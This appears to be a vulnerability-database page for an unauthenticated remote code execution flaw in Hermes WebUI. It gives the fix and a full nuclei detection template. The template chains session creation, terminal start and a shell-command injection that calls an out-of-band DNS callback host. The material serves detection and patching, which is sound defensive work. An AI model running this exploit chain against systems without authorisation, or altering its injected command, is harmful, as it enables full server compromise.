HexBrain

Browse / CVEs / CVE-2026-58123

CVE-2026-58123· nesquena / hermes-webui· CWE-306

Hermes WebUI < 0.51.788 - Remote Code Execution

criticalseverity
9.8CVSS score
4.6%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

Hermes WebUI < 0.51.788 contains an unauthenticated remote code execution caused by improper access control in embedded terminal API endpoints, letting remote attackers execute arbitrary shell commands without credentials.

Impact

Remote attackers can execute arbitrary shell commands as the server process user, leading to full system compromise.

Fix

Update to version 0.51.788 or later.

How to confirm it

Send: POST /api/session/new
Positive when: status 200
Send: POST /api/terminal/start
Positive when: status 200
Send: POST /api/terminal/input
Positive when: contains in interactsh_protocol "dns" AND status 200

Run it with nuclei: nuclei -id CVE-2026-58123 -u <target>

The full check
id: CVE-2026-58123

info:
  name: Hermes WebUI < 0.51.788 - Remote Code Execution
  author: str4k3r
  severity: critical
  description: |
    Hermes WebUI < 0.51.788 contains an unauthenticated remote code execution caused by improper access control in embedded terminal API endpoints, letting remote attackers execute arbitrary shell commands without credentials.
  impact: |
    Remote attackers can execute arbitrary shell commands as the server process user, leading to full system compromise.
  remediation: |
    Update to version 0.51.788 or later.
  reference:
    - https://www.vulncheck.com/advisories/hermes-webui-unauthenticated-rce-via-terminal-api
    - https://github.com/nesquena/hermes-webui/commit/d257e5f36cfa9328600c8bde6f0de09a6ad9b6f4
    - https://github.com/nesquena/hermes-webui/releases/tag/v0.51.788
    - https://nvd.nist.gov/vuln/detail/CVE-2026-58123
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-58123
    epss-score: 0.04649
    epss-percentile: 0.9181
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 3
    vendor: nesquena
    product: hermes-webui
  tags: cve,cve2026,hermes-webui,rce,terminal,unauth,oast

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/session/new HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: session_id
        part: body
        group: 1
        internal: true
        regex:
          - '"session_id"\s*:\s*"([a-f0-9]{12})"'

  - raw:
      - |
        POST /api/terminal/start HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"session_id":"{{session_id}}"}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        POST /api/terminal/input HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"session_id":"{{session_id}}","data":"python3 -c \"import socket; socket.gethostbyname('{{interactsh-url}}')\"\n"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from